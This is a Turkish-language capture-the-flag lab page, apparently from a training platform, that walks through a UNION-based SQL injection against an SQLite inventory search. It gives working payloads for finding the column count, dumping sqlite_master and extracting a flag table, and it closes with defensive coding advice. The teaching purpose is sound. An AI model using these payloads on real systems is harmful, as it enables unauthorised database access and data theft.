Görev ve Zafiyet Senaryosu
Envanter arama sayfası /inventory?search=... sorgusunu doğrudan SQLite tablosuna yönlendirir. ORDER BY yöntemiyle kolon sayısının 4 olduğu tespit edilir. Ardından UNION SELECT ile veritabanı katalog tabloları okunur.
Hedef (Objective)
🎯 Görev: Envanter arama parametresinde kolon sayısını tespit edin, UNION SELECT ile sqlite_master tablosundan tablo adlarını ve gizli kasayı (vault) dökerek bayrağı alın.
Adım Adım Çözüm Metodolojisi
Kolon Sayısı Keşfi
' ORDER BY 1--, ' ORDER BY 4-- ve ' ORDER BY 5-- göndererek kaç sütunun seçildiğini tespit edin.
Veri Tiplerini Eşleştirme
' UNION SELECT 'a','b','c','d'-- yükü ile ekranda hangi sütunların metin yansıttığını görün.
sqlite_master Tablo Analizi
' UNION SELECT 1, tbl_name, sql, 4 FROM sqlite_master WHERE type='table'-- ile gizli tabloları listeleyin.
Hassas Tablodan Veri Çekme
Gizli tablodaki kolonları seçerek bayrağı ve yönetici bilgilerini ekrana dökün.
Örnek Payload ve İstismar Kalıpları
' ORDER BY 4--' UNION SELECT 1,2,3,4--' UNION SELECT 1, tbl_name, sql, 4 FROM sqlite_master WHERE type='table'--' UNION SELECT 1, flag_value, notes, 4 FROM secret_vault--
Güvenli Kodlama ve Savunma Mekanizmaları
Zafiyet Nasıl Kapatılır?
- Geliştiriciler arama ve filtreleme parametrelerinde daima Prepared Statements kullanmalıdır.
- Veritabanı kullanıcısına yalnızca ihtiyaç duyduğu tablolara okuma izni veren En Düşük Yetki Prensibi (Least Privilege) uygulanmalıdır.
- Ayrıntılı veritabanı hata mesajlarının istemciye dönmesi engellenmeli ve loglanmalıdır.
Uygulamaya Başlamaya Hazır mısınız?
SiberAdam interaktif arenasında hedef tarayıcı, DevTools ve CyberTerminal ile bayrağı hemen yakalayın.
Şimdi Çözmeye Başla ⚡